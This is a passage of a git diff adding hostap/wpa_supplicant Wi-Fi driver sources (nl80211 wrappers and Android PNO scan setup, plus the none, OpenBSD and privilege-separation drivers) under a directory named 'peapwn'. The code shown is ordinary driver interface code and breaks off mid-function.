space needed for 1 more SSID, the + * other sections and null termination */ + if ((bp + WEXT_PNO_SSID_HEADER_SIZE + MAX_SSID_LEN + + WEXT_PNO_NONSSID_SECTIONS_SIZE + 1) >= (int) sizeof(buf)) + break; + wpa_hexdump_ascii(MSG_DEBUG, "For PNO Scan", + params->ssids[i].ssid, + params->ssids[i].ssid_len); + buf[bp++] = WEXT_PNO_SSID_SECTION; + buf[bp++] = params->ssids[i].ssid_len; + os_memcpy(&buf[bp], params->ssids[i].ssid, + params->ssids[i].ssid_len); + bp += params->ssids[i].ssid_len; + i++; + } + + buf[bp++] = WEXT_PNO_SCAN_INTERVAL_SECTION; + os_snprintf(&buf[bp], WEXT_PNO_SCAN_INTERVAL_LENGTH + 1, "%x", + WEXT_PNO_SCAN_INTERVAL); + bp += WEXT_PNO_SCAN_INTERVAL_LENGTH; + + buf[bp++] = WEXT_PNO_REPEAT_SECTION; + os_snprintf(&buf[bp], WEXT_PNO_REPEAT_LENGTH + 1, "%x", + WEXT_PNO_REPEAT); + bp += WEXT_PNO_REPEAT_LENGTH; + + buf[bp++] = WEXT_PNO_MAX_REPEAT_SECTION; + os_snprintf(&buf[bp], WEXT_PNO_MAX_REPEAT_LENGTH + 1, "%x", + WEXT_PNO_MAX_REPEAT); + bp += WEXT_PNO_MAX_REPEAT_LENGTH + 1; + + memset(&ifr, 0, sizeof(ifr)); + memset(&priv_cmd, 0, sizeof(priv_cmd)); + os_strlcpy(ifr.ifr_name, bss->ifname, IFNAMSIZ); + + priv_cmd.buf = buf; + priv_cmd.used_len = bp; + priv_cmd.total_len = bp; + ifr.ifr_data = &priv_cmd; + + ret = ioctl(drv->global->ioctl_sock, SIOCDEVPRIVATE + 1, &ifr); + + if (ret < 0) { + wpa_printf(MSG_ERROR, "ioctl[SIOCSIWPRIV] (pnosetup): %d", + ret); + wpa_driver_send_hang_msg(drv); + return ret; + } + + drv_errors = 0; + + return android_priv_cmd(bss, "PNOFORCE 1"); +} + + +static int android_pno_stop(struct i802_bss *bss) +{ + return android_priv_cmd(bss, "PNOFORCE 0"); +} + +#endif /* ANDROID */ + + +static int driver_nl80211_set_key(const char *ifname, void *priv, + enum wpa_alg alg, const u8 *addr, + int key_idx, int set_tx, + const u8 *seq, size_t seq_len, + const u8 *key, size_t key_len) +{ + struct i802_bss *bss = priv; + return wpa_driver_nl80211_set_key(ifname, bss, alg, addr, key_idx, + set_tx, seq, seq_len, key, key_len); +} + + +static int driver_nl80211_scan2(void *priv, + struct wpa_driver_scan_params *params) +{ + struct i802_bss *bss = priv; + return wpa_driver_nl80211_scan(bss, params); +} + + +static int driver_nl80211_deauthenticate(void *priv, const u8 *addr, + int reason_code) +{ + struct i802_bss *bss = priv; + return wpa_driver_nl80211_deauthenticate(bss, addr, reason_code); +} + + +static int driver_nl80211_authenticate(void *priv, + struct wpa_driver_auth_params *params) +{ + struct i802_bss *bss = priv; + return wpa_driver_nl80211_authenticate(bss, params); +} + + +static void driver_nl80211_deinit(void *priv) +{ + struct i802_bss *bss = priv; + wpa_driver_nl80211_deinit(bss); +} + + +static int driver_nl80211_if_remove(void *priv, enum wpa_driver_if_type type, + const char *ifname) +{ + struct i802_bss *bss = priv; + return wpa_driver_nl80211_if_remove(bss, type, ifname); +} + + +static int driver_nl80211_send_mlme(void *priv, const u8 *data, + size_t data_len, int noack) +{ + struct i802_bss *bss = priv; + return wpa_driver_nl80211_send_mlme(bss, data, data_len, noack, + 0, 0, 0, 0); +} + + +static int driver_nl80211_sta_remove(void *priv, const u8 *addr) +{ + struct i802_bss *bss = priv; + return wpa_driver_nl80211_sta_remove(bss, addr); +} + + +static int driver_nl80211_set_sta_vlan(void *priv, const u8 *addr, + const char *ifname, int vlan_id) +{ + struct i802_bss *bss = priv; + return i802_set_sta_vlan(bss, addr, ifname, vlan_id); +} + + +static int driver_nl80211_read_sta_data(void *priv, + struct hostap_sta_driver_data *data, + const u8 *addr) +{ + struct i802_bss *bss = priv; + return i802_read_sta_data(bss, data, addr); +} + + +static int driver_nl80211_send_action(void *priv, unsigned int freq, + unsigned int wait_time, + const u8 *dst, const u8 *src, + const u8 *bssid, + const u8 *data, size_t data_len, + int no_cck) +{ + struct i802_bss *bss = priv; + return wpa_driver_nl80211_send_action(bss, freq, wait_time, dst, src, + bssid, data, data_len, no_cck); +} + + +static int driver_nl80211_probe_req_report(void *priv, int report) +{ + struct i802_bss *bss = priv; + return wpa_driver_nl80211_probe_req_report(bss, report); +} + + +static int wpa_driver_nl80211_update_ft_ies(void *priv, const u8 *md, + const u8 *ies, size_t ies_len) +{ + int ret; + struct nl_msg *msg; + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + u16 mdid = WPA_GET_LE16(md); + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + wpa_printf(MSG_DEBUG, "nl80211: Updating FT IEs"); + nl80211_cmd(drv, msg, 0, NL80211_CMD_UPDATE_FT_IES); + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + NLA_PUT(msg, NL80211_ATTR_IE, ies_len, ies); + NLA_PUT_U16(msg, NL80211_ATTR_MDID, mdid); + + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + if (ret) { + wpa_printf(MSG_DEBUG, "nl80211: update_ft_ies failed " + "err=%d (%s)", ret, strerror(-ret)); + } + + return ret; + +nla_put_failure: + nlmsg_free(msg); + return -ENOBUFS; +} + + +const u8 * wpa_driver_nl80211_get_macaddr(void *priv) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + + if (drv->nlmode != NL80211_IFTYPE_P2P_DEVICE) + return NULL; + + return bss->addr; +} + + +static const char * scan_state_str(enum scan_states scan_state) +{ + switch (scan_state) { + case NO_SCAN: + return "NO_SCAN"; + case SCAN_REQUESTED: + return "SCAN_REQUESTED"; + case SCAN_STARTED: + return "SCAN_STARTED"; + case SCAN_COMPLETED: + return "SCAN_COMPLETED"; + case SCAN_ABORTED: + return "SCAN_ABORTED"; + case SCHED_SCAN_STARTED: + return "SCHED_SCAN_STARTED"; + case SCHED_SCAN_STOPPED: + return "SCHED_SCAN_STOPPED"; + case SCHED_SCAN_RESULTS: + return "SCHED_SCAN_RESULTS"; + } + + return "??"; +} + + +static int wpa_driver_nl80211_status(void *priv, char *buf, size_t buflen) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + int res; + char *pos, *end; + + pos = buf; + end = buf + buflen; + + res = os_snprintf(pos, end - pos, + "ifindex=%d\n" + "ifname=%s\n" + "brname=%s\n" + "addr=" MACSTR "\n" + "freq=%d\n" + "%s%s%s%s%s", + bss->ifindex, + bss->ifname, + bss->brname, + MAC2STR(bss->addr), + bss->freq, + bss->beacon_set ? "beacon_set=1\n" : "", + bss->added_if_into_bridge ? + "added_if_into_bridge=1\n" : "", + bss->added_bridge ? "added_bridge=1\n" : "", + bss->in_deinit ? "in_deinit=1\n" : "", + bss->if_dynamic ? "if_dynamic=1\n" : ""); + if (res < 0 || res >= end - pos) + return pos - buf; + pos += res; + + if (bss->wdev_id_set) { + res = os_snprintf(pos, end - pos, "wdev_id=%llu\n", + (unsigned long long) bss->wdev_id); + if (res < 0 || res >= end - pos) + return pos - buf; + pos += res; + } + + res = os_snprintf(pos, end - pos, + "phyname=%s\n" + "drv_ifindex=%d\n" + "operstate=%d\n" + "scan_state=%s\n" + "auth_bssid=" MACSTR "\n" + "auth_attempt_bssid=" MACSTR "\n" + "bssid=" MACSTR "\n" + "prev_bssid=" MACSTR "\n" + "associated=%d\n" + "assoc_freq=%u\n" + "monitor_sock=%d\n" + "monitor_ifidx=%d\n" + "monitor_refcount=%d\n" + "last_mgmt_freq=%u\n" + "eapol_tx_sock=%d\n" + "%s%s%s%s%s%s%s%s%s%s%s%s%s", + drv->phyname, + drv->ifindex, + drv->operstate, + scan_state_str(drv->scan_state), + MAC2STR(drv->auth_bssid), + MAC2STR(drv->auth_attempt_bssid), + MAC2STR(drv->bssid), + MAC2STR(drv->prev_bssid), + drv->associated, + drv->assoc_freq, + drv->monitor_sock, + drv->monitor_ifidx, + drv->monitor_refcount, + drv->last_mgmt_freq, + drv->eapol_tx_sock, + drv->ignore_if_down_event ? + "ignore_if_down_event=1\n" : "", + drv->scan_complete_events ? + "scan_complete_events=1\n" : "", + drv->disabled_11b_rates ? + "disabled_11b_rates=1\n" : "", + drv->pending_remain_on_chan ? + "pending_remain_on_chan=1\n" : "", + drv->in_interface_list ? "in_interface_list=1\n" : "", + drv->device_ap_sme ? "device_ap_sme=1\n" : "", + drv->poll_command_supported ? + "poll_command_supported=1\n" : "", + drv->data_tx_status ? "data_tx_status=1\n" : "", + drv->scan_for_auth ? "scan_for_auth=1\n" : "", + drv->retry_auth ? "retry_auth=1\n" : "", + drv->use_monitor ? "use_monitor=1\n" : "", + drv->ignore_next_local_disconnect ? + "ignore_next_local_disconnect=1\n" : "", + drv->allow_p2p_device ? "allow_p2p_device=1\n" : ""); + if (res < 0 || res >= end - pos) + return pos - buf; + pos += res; + + if (drv->has_capability) { + res = os_snprintf(pos, end - pos, + "capa.key_mgmt=0x%x\n" + "capa.enc=0x%x\n" + "capa.auth=0x%x\n" + "capa.flags=0x%x\n" + "capa.max_scan_ssids=%d\n" + "capa.max_sched_scan_ssids=%d\n" + "capa.sched_scan_supported=%d\n" + "capa.max_match_sets=%d\n" + "capa.max_remain_on_chan=%u\n" + "capa.max_stations=%u\n" + "capa.probe_resp_offloads=0x%x\n" + "capa.max_acl_mac_addrs=%u\n" + "capa.num_multichan_concurrent=%u\n", + drv->capa.key_mgmt, + drv->capa.enc, + drv->capa.auth, + drv->capa.flags, + drv->capa.max_scan_ssids, + drv->capa.max_sched_scan_ssids, + drv->capa.sched_scan_supported, + drv->capa.max_match_sets, + drv->capa.max_remain_on_chan, + drv->capa.max_stations, + drv->capa.probe_resp_offloads, + drv->capa.max_acl_mac_addrs, + drv->capa.num_multichan_concurrent); + if (res < 0 || res >= end - pos) + return pos - buf; + pos += res; + } + + return pos - buf; +} + + +static int set_beacon_data(struct nl_msg *msg, struct beacon_data *settings) +{ + if (settings->head) + NLA_PUT(msg, NL80211_ATTR_BEACON_HEAD, + settings->head_len, settings->head); + + if (settings->tail) + NLA_PUT(msg, NL80211_ATTR_BEACON_TAIL, + settings->tail_len, settings->tail); + + if (settings->beacon_ies) + NLA_PUT(msg, NL80211_ATTR_IE, + settings->beacon_ies_len, settings->beacon_ies); + + if (settings->proberesp_ies) + NLA_PUT(msg, NL80211_ATTR_IE_PROBE_RESP, + settings->proberesp_ies_len, settings->proberesp_ies); + + if (settings->assocresp_ies) + NLA_PUT(msg, + NL80211_ATTR_IE_ASSOC_RESP, + settings->assocresp_ies_len, settings->assocresp_ies); + + if (settings->probe_resp) + NLA_PUT(msg, NL80211_ATTR_PROBE_RESP, + settings->probe_resp_len, settings->probe_resp); + + return 0; + +nla_put_failure: + return -ENOBUFS; +} + + +static int nl80211_switch_channel(void *priv, struct csa_settings *settings) +{ + struct nl_msg *msg; + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nlattr *beacon_csa; + int ret = -ENOBUFS; + + wpa_printf(MSG_DEBUG, "nl80211: Channel switch request (cs_count=%u block_tx=%u freq=%d)", + settings->cs_count, settings->block_tx, + settings->freq_params.freq); + + if (!drv->channel_switch_supported) { + wpa_printf(MSG_DEBUG, "nl80211: Driver does not support channel switch command"); + return -EOPNOTSUPP; + } + + if ((drv->nlmode != NL80211_IFTYPE_AP) && + (drv->nlmode != NL80211_IFTYPE_P2P_GO)) + return -EOPNOTSUPP; + + /* check settings validity */ + if (!settings->beacon_csa.tail || + ((settings->beacon_csa.tail_len <= + settings->counter_offset_beacon) || + (settings->beacon_csa.tail[settings->counter_offset_beacon] != + settings->cs_count))) + return -EINVAL; + + if (settings->beacon_csa.probe_resp && + ((settings->beacon_csa.probe_resp_len <= + settings->counter_offset_presp) || + (settings->beacon_csa.probe_resp[settings->counter_offset_presp] != + settings->cs_count))) + return -EINVAL; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_CHANNEL_SWITCH); + NLA_PUT_U32(msg, NL80211_ATTR_IFINDEX, drv->ifindex); + NLA_PUT_U32(msg, NL80211_ATTR_CH_SWITCH_COUNT, settings->cs_count); + ret = nl80211_put_freq_params(msg, &settings->freq_params); + if (ret) + goto error; + + if (settings->block_tx) + NLA_PUT_FLAG(msg, NL80211_ATTR_CH_SWITCH_BLOCK_TX); + + /* beacon_after params */ + ret = set_beacon_data(msg, &settings->beacon_after); + if (ret) + goto error; + + /* beacon_csa params */ + beacon_csa = nla_nest_start(msg, NL80211_ATTR_CSA_IES); + if (!beacon_csa) + goto nla_put_failure; + + ret = set_beacon_data(msg, &settings->beacon_csa); + if (ret) + goto error; + + NLA_PUT_U16(msg, NL80211_ATTR_CSA_C_OFF_BEACON, + settings->counter_offset_beacon); + + if (settings->beacon_csa.probe_resp) + NLA_PUT_U16(msg, NL80211_ATTR_CSA_C_OFF_PRESP, + settings->counter_offset_presp); + + nla_nest_end(msg, beacon_csa); + ret = send_and_recv_msgs(drv, msg, NULL, NULL); + if (ret) { + wpa_printf(MSG_DEBUG, "nl80211: switch_channel failed err=%d (%s)", + ret, strerror(-ret)); + } + return ret; + +nla_put_failure: + ret = -ENOBUFS; +error: + nlmsg_free(msg); + wpa_printf(MSG_DEBUG, "nl80211: Could not build channel switch request"); + return ret; +} + + +const struct wpa_driver_ops wpa_driver_nl80211_ops = { + .name = "nl80211", + .desc = "Linux nl80211/cfg80211", + .get_bssid = wpa_driver_nl80211_get_bssid, + .get_ssid = wpa_driver_nl80211_get_ssid, + .set_key = driver_nl80211_set_key, + .scan2 = driver_nl80211_scan2, + .sched_scan = wpa_driver_nl80211_sched_scan, + .stop_sched_scan = wpa_driver_nl80211_stop_sched_scan, + .get_scan_results2 = wpa_driver_nl80211_get_scan_results, + .deauthenticate = driver_nl80211_deauthenticate, + .authenticate = driver_nl80211_authenticate, + .associate = wpa_driver_nl80211_associate, + .global_init = nl80211_global_init, + .global_deinit = nl80211_global_deinit, + .init2 = wpa_driver_nl80211_init, + .deinit = driver_nl80211_deinit, + .get_capa = wpa_driver_nl80211_get_capa, + .set_operstate = wpa_driver_nl80211_set_operstate, + .set_supp_port = wpa_driver_nl80211_set_supp_port, + .set_country = wpa_driver_nl80211_set_country, + .get_country = wpa_driver_nl80211_get_country, + .set_ap = wpa_driver_nl80211_set_ap, + .set_acl = wpa_driver_nl80211_set_acl, + .if_add = wpa_driver_nl80211_if_add, + .if_remove = driver_nl80211_if_remove, + .send_mlme = driver_nl80211_send_mlme, + .get_hw_feature_data = wpa_driver_nl80211_get_hw_feature_data, + .sta_add = wpa_driver_nl80211_sta_add, + .sta_remove = driver_nl80211_sta_remove, + .hapd_send_eapol = wpa_driver_nl80211_hapd_send_eapol, + .sta_set_flags = wpa_driver_nl80211_sta_set_flags, + .hapd_init = i802_init, + .hapd_deinit = i802_deinit, + .set_wds_sta = i802_set_wds_sta, + .get_seqnum = i802_get_seqnum, + .flush = i802_flush, + .get_inact_sec = i802_get_inact_sec, + .sta_clear_stats = i802_sta_clear_stats, + .set_rts = i802_set_rts, + .set_frag = i802_set_frag, + .set_tx_queue_params = i802_set_tx_queue_params, + .set_sta_vlan = driver_nl80211_set_sta_vlan, + .sta_deauth = i802_sta_deauth, + .sta_disassoc = i802_sta_disassoc, + .read_sta_data = driver_nl80211_read_sta_data, + .set_freq = i802_set_freq, + .send_action = driver_nl80211_send_action, + .send_action_cancel_wait = wpa_driver_nl80211_send_action_cancel_wait, + .remain_on_channel = wpa_driver_nl80211_remain_on_channel, + .cancel_remain_on_channel = + wpa_driver_nl80211_cancel_remain_on_channel, + .probe_req_report = driver_nl80211_probe_req_report, + .deinit_ap = wpa_driver_nl80211_deinit_ap, + .deinit_p2p_cli = wpa_driver_nl80211_deinit_p2p_cli, + .resume = wpa_driver_nl80211_resume, + .send_ft_action = nl80211_send_ft_action, + .signal_monitor = nl80211_signal_monitor, + .signal_poll = nl80211_signal_poll, + .send_frame = nl80211_send_frame, + .shared_freq = wpa_driver_nl80211_shared_freq, + .set_param = nl80211_set_param, + .get_radio_name = nl80211_get_radio_name, + .add_pmkid = nl80211_add_pmkid, + .remove_pmkid = nl80211_remove_pmkid, + .flush_pmkid = nl80211_flush_pmkid, + .set_rekey_info = nl80211_set_rekey_info, + .poll_client = nl80211_poll_client, + .set_p2p_powersave = nl80211_set_p2p_powersave, + .start_dfs_cac = nl80211_start_radar_detection, + .stop_ap = wpa_driver_nl80211_stop_ap, +#ifdef CONFIG_TDLS + .send_tdls_mgmt = nl80211_send_tdls_mgmt, + .tdls_oper = nl80211_tdls_oper, +#endif /* CONFIG_TDLS */ + .update_ft_ies = wpa_driver_nl80211_update_ft_ies, + .get_mac_addr = wpa_driver_nl80211_get_macaddr, + .get_survey = wpa_driver_nl80211_get_survey, + .status = wpa_driver_nl80211_status, + .switch_channel = nl80211_switch_channel, +#ifdef ANDROID_P2P + .set_noa = wpa_driver_set_p2p_noa, + .get_noa = wpa_driver_get_p2p_noa, + .set_ap_wps_ie = wpa_driver_set_ap_wps_p2p_ie, +#endif /* ANDROID_P2P */ +#ifdef ANDROID + .driver_cmd = wpa_driver_nl80211_driver_cmd, +#endif /* ANDROID */ +}; diff --git a/peapwn/mods/hostap/src/drivers/driver_none.c b/peapwn/mods/hostap/src/drivers/driver_none.c new file mode 100644 index 000000000..d75c14b18 --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/driver_none.c @@ -0,0 +1,93 @@ +/* + * Driver interface for RADIUS server or WPS ER only (no driver) + * Copyright (c) 2008, Atheros Communications + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "driver.h" + + +struct none_driver_data { + struct hostapd_data *hapd; + void *ctx; +}; + + +static void * none_driver_hapd_init(struct hostapd_data *hapd, + struct wpa_init_params *params) +{ + struct none_driver_data *drv; + + drv = os_zalloc(sizeof(struct none_driver_data)); + if (drv == NULL) { + wpa_printf(MSG_ERROR, "Could not allocate memory for none " + "driver data"); + return NULL; + } + drv->hapd = hapd; + + return drv; +} + + +static void none_driver_hapd_deinit(void *priv) +{ + struct none_driver_data *drv = priv; + + os_free(drv); +} + + +static int none_driver_send_ether(void *priv, const u8 *dst, const u8 *src, + u16 proto, const u8 *data, size_t data_len) +{ + return 0; +} + + +static void * none_driver_init(void *ctx, const char *ifname) +{ + struct none_driver_data *drv; + + drv = os_zalloc(sizeof(struct none_driver_data)); + if (drv == NULL) { + wpa_printf(MSG_ERROR, "Could not allocate memory for none " + "driver data"); + return NULL; + } + drv->ctx = ctx; + + return drv; +} + + +static void none_driver_deinit(void *priv) +{ + struct none_driver_data *drv = priv; + + os_free(drv); +} + + +static int none_driver_send_eapol(void *priv, const u8 *dest, u16 proto, + const u8 *data, size_t data_len) +{ + return -1; +} + + +const struct wpa_driver_ops wpa_driver_none_ops = { + .name = "none", + .desc = "no driver (RADIUS server/WPS ER)", + .hapd_init = none_driver_hapd_init, + .hapd_deinit = none_driver_hapd_deinit, + .send_ether = none_driver_send_ether, + .init = none_driver_init, + .deinit = none_driver_deinit, + .send_eapol = none_driver_send_eapol, +}; diff --git a/peapwn/mods/hostap/src/drivers/driver_openbsd.c b/peapwn/mods/hostap/src/drivers/driver_openbsd.c new file mode 100644 index 000000000..e94eda08f --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/driver_openbsd.c @@ -0,0 +1,136 @@ +/* + * Driver interaction with OpenBSD net80211 layer + * Copyright (c) 2013, Mark Kettenis + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include + +#include +#include +#include +#include + +#include "common.h" +#include "driver.h" + +struct openbsd_driver_data { + char ifname[IFNAMSIZ + 1]; + void *ctx; + + int sock; /* open socket for 802.11 ioctls */ +}; + + +static int +wpa_driver_openbsd_get_ssid(void *priv, u8 *ssid) +{ + struct openbsd_driver_data *drv = priv; + struct ieee80211_nwid nwid; + struct ifreq ifr; + + os_memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, drv->ifname, sizeof(ifr.ifr_name)); + ifr.ifr_data = (void *)&nwid; + if (ioctl(drv->sock, SIOCG80211NWID, &ifr) < 0 || + nwid.i_len > IEEE80211_NWID_LEN) + return -1; + + os_memcpy(ssid, nwid.i_nwid, nwid.i_len); + return nwid.i_len; +} + +static int +wpa_driver_openbsd_get_bssid(void *priv, u8 *bssid) +{ + struct openbsd_driver_data *drv = priv; + struct ieee80211_bssid id; + + os_strlcpy(id.i_name, drv->ifname, sizeof(id.i_name)); + if (ioctl(drv->sock, SIOCG80211BSSID, &id) < 0) + return -1; + + os_memcpy(bssid, id.i_bssid, IEEE80211_ADDR_LEN); + return 0; +} + + +static int +wpa_driver_openbsd_get_capa(void *priv, struct wpa_driver_capa *capa) +{ + os_memset(capa, 0, sizeof(*capa)); + capa->flags = WPA_DRIVER_FLAGS_4WAY_HANDSHAKE; + return 0; +} + + +static int +wpa_driver_openbsd_set_key(const char *ifname, void *priv, enum wpa_alg alg, + const unsigned char *addr, int key_idx, int set_tx, const u8 *seq, + size_t seq_len, const u8 *key, size_t key_len) +{ + struct openbsd_driver_data *drv = priv; + struct ieee80211_keyavail keyavail; + + if (alg != WPA_ALG_PMK || key_len > IEEE80211_PMK_LEN) + return -1; + + memset(&keyavail, 0, sizeof(keyavail)); + os_strlcpy(keyavail.i_name, drv->ifname, sizeof(keyavail.i_name)); + if (wpa_driver_openbsd_get_bssid(priv, keyavail.i_macaddr) < 0) + return -1; + memcpy(keyavail.i_key, key, key_len); + + if (ioctl(drv->sock, SIOCS80211KEYAVAIL, &keyavail) < 0) + return -1; + + return 0; +} + +static void * +wpa_driver_openbsd_init(void *ctx, const char *ifname) +{ + struct openbsd_driver_data *drv; + + drv = os_zalloc(sizeof(*drv)); + if (drv == NULL) + return NULL; + + drv->sock = socket(PF_INET, SOCK_DGRAM, 0); + if (drv->sock < 0) + goto fail; + + drv->ctx = ctx; + os_strlcpy(drv->ifname, ifname, sizeof(drv->ifname)); + + return drv; + +fail: + os_free(drv); + return NULL; +} + + +static void +wpa_driver_openbsd_deinit(void *priv) +{ + struct openbsd_driver_data *drv = priv; + + close(drv->sock); + os_free(drv); +} + + +const struct wpa_driver_ops wpa_driver_openbsd_ops = { + .name = "openbsd", + .desc = "OpenBSD 802.11 support", + .get_ssid = wpa_driver_openbsd_get_ssid, + .get_bssid = wpa_driver_openbsd_get_bssid, + .get_capa = wpa_driver_openbsd_get_capa, + .set_key = wpa_driver_openbsd_set_key, + .init = wpa_driver_openbsd_init, + .deinit = wpa_driver_openbsd_deinit, +}; diff --git a/peapwn/mods/hostap/src/drivers/driver_privsep.c b/peapwn/mods/hostap/src/drivers/driver_privsep.c new file mode 100644 index 000000000..ed88e71c3 --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/driver_privsep.c @@ -0,0 +1,740 @@ +/* + * WPA Supplicant - privilege separated driver interface + * Copyright (c) 2007-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include + +#include "common.h" +#include "driver.h" +#include "eloop.h" +#include "common/privsep_commands.h" + + +struct wpa_driver_privsep_data { + void *ctx; + u8 own_addr[ETH_ALEN]; + int priv_socket; + char *own_socket_path; + int cmd_socket; + char *own_cmd_path; + struct sockaddr_un priv_addr; + char ifname[16]; +}; + + +static int wpa_priv_reg_cmd(struct wpa_driver_privsep_data *drv, int cmd) +{ + int res; + + res = sendto(drv->priv_socket, &cmd, sizeof(cmd), 0, + (struct sockaddr *) &drv->priv_addr, + sizeof(drv->priv_addr)); + if (res < 0) + perror("sendto"); + return res < 0 ? -1 : 0; +} + + +static int wpa_priv_cmd(struct wpa_driver_privsep_data *drv, int cmd, + const void *data, size_t data_len, + void *reply, size_t *reply_len) +{ + struct msghdr msg; + struct iovec io[2]; + + io[0].iov_base = &cmd; + io[0].iov_len = sizeof(cmd); + io[1].iov_base = (u8 *) data; + io[1].iov_len = data_len; + + os_memset(&msg, 0, sizeof(msg)); + msg.msg_iov = io; + msg.msg_iovlen = data ? 2 : 1; + msg.msg_name = &drv->priv_addr; + msg.msg_namelen = sizeof(drv->priv_addr); + + if (sendmsg(drv->cmd_socket, &msg, 0) < 0) { + perror("sendmsg(cmd_socket)"); + return -1; + } + + if (reply) { + fd_set rfds; + struct timeval tv; + int res; + + FD_ZERO(&rfds); + FD_SET(drv->cmd_socket, &rfds); + tv.tv_sec = 5; + tv.tv_usec = 0; + res = select(drv->cmd_socket + 1, &rfds, NULL, NULL, &tv); + if (res < 0 && errno != EINTR) { + perror("select"); + return -1; + } + + if (FD_ISSET(drv->cmd_socket, &rfds)) { + res = recv(drv->cmd_socket, reply, *reply_len, 0); + if (res < 0) { + perror("recv"); + return -1; + } + *reply_len = res; + } else { + wpa_printf(MSG_DEBUG, "PRIVSEP: Timeout while waiting " + "for reply (cmd=%d)", cmd); + return -1; + } + } + + return 0; +} + + +static int wpa_driver_privsep_scan(void *priv, + struct wpa_driver_scan_params *params) +{ + struct wpa_driver_privsep_data *drv = priv; + const u8 *ssid = params->ssids[0].ssid; + size_t ssid_len = params->ssids[0].ssid_len; + wpa_printf(MSG_DEBUG, "%s: priv=%p", __func__, priv); + return wpa_priv_cmd(drv, PRIVSEP_CMD_SCAN, ssid, ssid_len, + NULL, NULL); +} + + +static struct wpa_scan_results * +wpa_driver_privsep_get_scan_results2(void *priv) +{ + struct wpa_driver_privsep_data *drv = priv; + int res, num; + u8 *buf, *pos, *end; + size_t reply_len = 60000; + struct wpa_scan_results *results; + struct wpa_scan_res *r; + + buf = os_malloc(reply_len); + if (buf == NULL) + return NULL; + res = wpa_priv_cmd(drv, PRIVSEP_CMD_GET_SCAN_RESULTS, + NULL, 0, buf, &reply_len); + if (res < 0) { + os_free(buf); + return NULL; + } + + wpa_printf(MSG_DEBUG, "privsep: Received %lu bytes of scan results", + (unsigned long) reply_len); + if (reply_len < sizeof(int)) { + wpa_printf(MSG_DEBUG, "privsep: Invalid scan result len %lu", + (unsigned long) reply_len); + os_free(buf); + return NULL; + } + + pos = buf; + end = buf + reply_len; + os_memcpy(&num, pos, sizeof(int)); + if (num < 0 || num > 1000) { + os_free(buf); + return NULL; + } + pos += sizeof(int); + + results = os_zalloc(sizeof(*results)); + if (results == NULL) { + os_free(buf); + return NULL; + } + + results->res = os_calloc(num, sizeof(struct wpa_scan_res *)); + if (results->res == NULL) { + os_free(results); + os_free(buf); + return NULL; + } + + while (results->num < (size_t) num && pos + sizeof(int) < end) { + int len; + os_memcpy(&len, pos, sizeof(int)); + pos += sizeof(int); + if (len < 0 || len > 10000 || pos + len > end) + break; + + r = os_malloc(len); + if (r == NULL) + break; + os_memcpy(r, pos, len); + pos += len; + if (sizeof(*r) + r->ie_len > (size_t) len) { + os_free(r); + break; + } + + results->res[results->num++] = r; + } + + os_free(buf); + return results; +} + + +static int wpa_driver_privsep_set_key(const char *ifname, void *priv, + enum wpa_alg alg, const u8 *addr, + int key_idx, int set_tx, + const u8 *seq, size_t seq_len, + const u8 *key, size_t key_len) +{ + struct wpa_driver_privsep_data *drv = priv; + struct privsep_cmd_set_key cmd; + + wpa_printf(MSG_DEBUG, "%s: priv=%p alg=%d key_idx=%d set_tx=%d", + __func__, priv, alg, key_idx, set_tx); + + os_memset(&cmd, 0, sizeof(cmd)); + cmd.alg = alg; + if (addr) + os_memcpy(cmd.addr, addr, ETH_ALEN); + else + os_memset(cmd.addr, 0xff, ETH_ALEN); + cmd.key_idx = key_idx; + cmd.set_tx = set_tx; + if (seq && seq_len > 0 && seq_len < sizeof(cmd.seq)) { + os_memcpy(cmd.seq, seq, seq_len); + cmd.seq_len = seq_len; + } + if (key && key_len > 0 && key_len < sizeof(cmd.key)) { + os_memcpy(cmd.key, key, key_len); + cmd.key_len = key_len; + } + + return wpa_priv_cmd(drv, PRIVSEP_CMD_SET_KEY, &cmd, sizeof(cmd), + NULL, NULL); +} + + +static int wpa_driver_privsep_associate( + void *priv, struct wpa_driver_associate_params *params) +{ + struct wpa_driver_privsep_data *drv = priv; + struct privsep_cmd_associate *data; + int res; + size_t buflen; + + wpa_printf(MSG_DEBUG, "%s: priv=%p freq=%d pairwise_suite=%d " + "group_suite=%d key_mgmt_suite=%d auth_alg=%d mode=%d", + __func__, priv, params->freq, params->pairwise_suite, + params->group_suite, params->key_mgmt_suite, + params->auth_alg, params->mode); + + buflen = sizeof(*data) + params->wpa_ie_len; + data = os_zalloc(buflen); + if (data == NULL) + return -1; + + if (params->bssid) + os_memcpy(data->bssid, params->bssid, ETH_ALEN); + os_memcpy(data->ssid, params->ssid, params->ssid_len); + data->ssid_len = params->ssid_len; + data->freq = params->freq; + data->pairwise_suite = params->pairwise_suite; + data->group_suite = params->group_suite; + data->key_mgmt_suite = params->key_mgmt_suite; + data->auth_alg = params->auth_alg; + data->mode = params->mode; + data->wpa_ie_len = params->wpa_ie_len; + if (params->wpa_ie) + os_memcpy(data + 1, params->wpa_ie, params->wpa_ie_len); + /* TODO: add support for other assoc parameters */ + + res = wpa_priv_cmd(drv, PRIVSEP_CMD_ASSOCIATE, data, buflen, + NULL, NULL); + os_free(data); + + return res; +} + + +static int wpa_driver_privsep_get_bssid(void *priv, u8 *bssid) +{ + struct wpa_driver_privsep_data *drv = priv; + int res; + size_t len = ETH_ALEN; + + res = wpa_priv_cmd(drv, PRIVSEP_CMD_GET_BSSID, NULL, 0, bssid, &len); + if (res < 0 || 